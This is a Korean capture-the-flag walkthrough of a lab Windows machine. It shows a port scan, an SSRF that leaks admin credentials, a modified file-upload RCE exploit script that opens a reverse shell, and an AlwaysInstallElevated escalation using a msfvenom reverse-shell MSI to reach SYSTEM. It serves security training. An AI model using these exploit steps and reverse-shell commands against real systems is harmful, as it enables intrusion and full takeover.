1. Recon
1.1. nmap
nmap 으로 정찰 결과 특이 포트들이 많이 잡힌다. 그 중에 80 포트에 대해서 정찰을 실시한다. 그리고 도메인 중에 love.htb 도 있지만 staging.love.htb 도 있음을 알아야 한다.
┌──(root㉿kali)-[/home/kali/labs/Love]
└─# nmap -sC -sV 10.129.48.103 --max-retries 1 --min-rate 5000 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-05 21:57 +04
Warning: 10.129.48.103 giving up on port because retransmission cap hit (1).
Nmap scan report for 10.129.48.103
Host is up (0.19s latency).
Not shown: 62906 closed tcp ports (reset), 2610 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Voting System using PHP
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: 403 Forbidden
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after: 2022-01-18T14:00:16
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql MariaDB 10.3.24 or later (unauthorized)
5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
5040/tcp open unknown
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
|_ssl-date: 2026-01-05T18:22:37+00:00; +21m33s from scanner time.
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Not valid before: 2021-04-11T14:39:19
|_Not valid after: 2024-04-10T14:39:19
7680/tcp open pando-pub?
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h21m34s, deviation: 4h00m03s, median: 21m32s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
| OS CPE: cpe:/o:microsoft:windows_10::-
| Computer name: Love
| NetBIOS computer name: LOVE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2026-01-05T10:22:27-08:00
| smb2-time:
| date: 2026-01-05T18:22:29
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 197.44 seconds
1.2. Web 정찰
로그인 페이지만 존재하고 특별한 거는 확인할 수 없다.

1.3. Searchsploit - Voting System
Voting System 이라는 서비스를 사용하고 있으므로 searchsploit 에서 제공하는 게 있는지 확인한다. 그 중에 RCE 관련한 것 중 하나인 49445.py 가 눈에 띈다.
┌──(root㉿kali)-[/home/kali/labs/Love]
└─# searchsploit voting system
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Online Voting System - Authentication Bypass | php/webapps/43967.py
Online Voting System 1.0 - Authentication Bypass (SQLi) | php/webapps/50075.txt
Online Voting System 1.0 - Remote Code Execution (Authenticated) | php/webapps/50076.txt
Online Voting System 1.0 - SQLi (Authentication Bypass) + Remote Code Execution (RCE) | php/webapps/50088.py
Online Voting System Project in PHP - 'username' Persistent Cross-Site Scripting | multiple/webapps/49159.txt
Voting System 1.0 - Authentication Bypass (SQLI) | php/webapps/49843.txt
Voting System 1.0 - File Upload RCE (Authenticated Remote Code Execution) | php/webapps/49445.py
Voting System 1.0 - Remote Code Execution (Unauthenticated) | php/webapps/49846.txt
Voting System 1.0 - Time based SQLI (Unauthenticated SQL injection) | php/webapps/49817.txt
WordPress Plugin Poll_ Survey_ Questionnaire and Voting system 1.5.2 - 'date_answers' Blind SQL Injection | php/webapps/50052.txt
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
하지만 해당 코드를 사용하기 위해서는 로그인 가능한 계정이 하나 이상 있어야 사용할 수 있다.
┌──(root㉿kali)-[/home/kali/labs/Love]
└─# cat 49445.py
# Exploit Title: Voting System 1.0 - File Upload RCE (Authenticated Remote Code Execution)
# Date: 19/01/2021
# Exploit Author: Richard Jones
# Vendor Homepage:https://www.sourcecodester.com/php/12306/voting-system-using-php.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12306&title=Voting+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Windows 10 2004 + XAMPP 7.4.4
import requests
# --- Edit your settings here ----
IP = "192.168.1.207" # Website's URL
USERNAME = "potter" #Auth username
PASSWORD = "password" # Auth Password
REV_IP = "192.168.1.207" # Reverse shell IP
REV_PORT = "8888" # Reverse port
# --------------------------------
[...SNIP...]
1.4. staging.love.htb 정찰
nmap 정찰 시 staging.love.htb 에 대한 도메인도 확인했으므로, /etc/hosts 에 등록하고 해당 페이지를 정찰한다. 알 수 없는 Free File Scanner 라는 페이지가 나온다.

Demo 탭으로 들어가면 파일을 스캔할 수 있다고 한다.

kali 에 hello 라는 키워드가 들어간 hello.txt 를 만들어 놓고 작동하는지 확인한다. 그래서 정상 출력되는 것을 확인할 수 있다.

2. 내부망 침투
2.1. 5000번 포트 스캔
앞서 nmap 으로 스캔한 결과 아래과 같이 5000번 포트에 대해서는 403 에러가 나왔다. 외부에서는 접근이 안 된다고 판단할 수 있는데, 그러면 같은 내부에서는 스캔이 되는지 궁금할 수 있다. 어떤 내용이 있는지 긁어서 확인한다.
# nmap 결과
5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
그러면 시원하게 Vote Admin Creds 가 나온다.

2.2. Burpsuite 를 통한 디버깅
아래와 같이 수정한 다음에 파일을 돌려본다. 하지만 작동하지 않는다.
┌──(root㉿kali)-[/home/kali/labs/Love]
└─# cat 49445.py
# Exploit Title: Voting System 1.0 - File Upload RCE (Authenticated Remote Code Execution)
# Date: 19/01/2021
# Exploit Author: Richard Jones
# Vendor Homepage:https://www.sourcecodester.com/php/12306/voting-system-using-php.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12306&title=Voting+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Windows 10 2004 + XAMPP 7.4.4
import requests
# --- Edit your settings here ----
IP = "love.htb" # Website's URL
USERNAME = "admin" #Auth username
PASSWORD = "@LoveIsInTheAir!!!!" # Auth Password
REV_IP = "10.10.14.143" # Reverse shell IP
REV_PORT = "443" # Reverse port
# --------------------------------
파일의 중간 부분에 s = requests.Session() 가 있는데, 그 밑에다가 s.proxies = {'http':'http://127.0.0.1:8080'} 를 추가해서 BurpSuite 를 통해서 무엇이 문제인지 확인을 한다.
s = requests.Session()
s.proxies = {'http':'http://127.0.0.1:8080'}
확인 결과 404 에러가 나온다. 페이지가 존재하지 않는다는 뜻이다.

이유는 우리는 바로 웹 디렉토리 최상위에 바로 페이지가 존재하는데, 해당 코드에서는 votesystem 디렉토리 하위로 접근하고 있기 때문이다.
따라서 아래의 코드에서
INDEX_PAGE = f"http://{IP}/votesystem/admin/index.php"
LOGIN_URL = f"http://{IP}/votesystem/admin/login.php"
VOTE_URL = f"http://{IP}/votesystem/admin/voters_add.php"
CALL_SHELL = f"http://{IP}/votesystem/images/shell.php"
아래 코드로 votesystem 를 지워준 다음에 다시 실행한다.
INDEX_PAGE = f"http://{IP}/admin/index.php"
LOGIN_URL = f"http://{IP}/admin/login.php"
VOTE_URL = f"http://{IP}/admin/voters_add.php"
CALL_SHELL = f"http://{IP}/images/shell.php"
다시 실행한 결과 302 의 반환값을 받는 것을 확인할 수 있다.

2.3. 쉘 획득
443번 포트로 LISTEN 하고 있으면 쉘 획득에 성공하는 것을 확인할 수 있다.
┌──(root㉿kali)-[/home/kali]
└─# rlwrap -cAr nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.143] from (UNKNOWN) [10.129.48.103] 56312
b374k shell : connected
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\xampp\htdocs\omrs\images>whoami
whoami
love\phoebe
C:\xampp\htdocs\omrs\images>
일반 계정은 Users 폴더에 Phoebe 정도 밖에 없어서 Desktop 경로에서 flag 를 획득할 수 있었다.
C:\Users\Phoebe\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 56DE-BA30
Directory of C:\Users\Phoebe\Desktop
04/13/2021 02:20 AM <DIR> .
04/13/2021 02:20 AM <DIR> ..
01/05/2026 10:18 AM 34 user.txt
1 File(s) 34 bytes
2 Dir(s) 4,125,908,992 bytes free
C:\Users\Phoebe\Desktop>type user.txt
type user.txt
3. 권한 상승
3.1. 웹 정찰
/admin 디렉토리로 가면 아까 얻었던 admin 의 크리덴셜을 통해서 로그인이 가능하다. 하지만 웹에서 얻을 수 있는 자료는 한정적이었다.

3.2. 권한 확인
이미 따놓은 쉘을 통해서 특별한 권한이 존재하는지 여부를 확인하기 위해서 phoebe 계정의 권한들을 확인했으나, SeImpersonatePrivilege 와 같은 것을 찾을 수 없었기에 취약점을 트리거 할 방법이 딱히 없었다.
C:\Users\Phoebe\Desktop>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
C:\Users\Phoebe\Desktop>whoami /groups
whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
3.3. winPEAS 사용
전체적으로 잘못된 설정이 있는지 톺아보기 위해서 winPEAS 를 사용할 것이다. 그 전에 아키텍쳐에 맞는 거를 사용하기 위해 systeminfo 를 사용해서 64bit 운영체제임을 확인한다.
PS C:\ProgramData> systeminfo
systeminfo
Host Name: LOVE
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.19042 N/A Build 19042
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: roy
Registered Organization:
Product ID: 00330-80112-18556-AA148
Original Install Date: 4/12/2021, 12:14:12 PM
System Boot Time: 1/5/2026, 10:17:00 AM
System Manufacturer: VMware, Inc.
System Model: VMware7,1
System Type: x64-based PC
[...SNIP...]
3.3.1. Powershell History 경로 확보
winPEAS 를 kali 에서 서버로 이동하고, 실행하면 아래와 같은 내용들이 나온다. 그 중 하나는 Powershell History 의 경로를 확보했다.
���������� PowerShell Settings
PowerShell v2 Version: 2.0
PowerShell v5 Version: 5.1.19041.1
PowerShell Core Version:
Transcription Settings:
Module Logging Settings:
Scriptblock Logging Settings:
PS history file: C:\Users\Phoebe\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
PS history size: 51B
3.3.2. AlwaysInstallElevated 설정 식별
AlwaysInstallElevated 의 설정을 식별했다. 여기서 1로 셋팅되어 있음은, 어떤 msi 프로그램을 실행하더라도 SYSTEM 권한으로 실행한다는 점이다.
���������� Checking AlwaysInstallElevated
� https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#alwaysinstallelevated
AlwaysInstallElevated set to 1 in HKLM!
AlwaysInstallElevated set to 1 in HKCU!
3.4. msfvenom 을 통한 msi 리버스쉘 만들기
msfvenom 을 통해서 msi 파일을 생성한다.
┌──(root㉿kali)-[/home/kali/labs/Love]
└─# msfvenom -p windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.143 LPORT=443 -f msi -o rev.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of msi file: 159744 bytes
Saved as: rev.msi
리버스 쉘을 만들고 나서, 해당 msi 파일을 서버로 이동시킨 다음에 실행시키면 아래와 같이 SYSTEM 권한의 쉘을 얻을 수 있고, root.txt 파일을 열람해서 flag 를 획득할 수 있다.
┌──(root㉿kali)-[/home/kali]
└─# rlwrap -cAr nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.143] from (UNKNOWN) [10.129.48.103] 56319
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
whoami
nt authority\system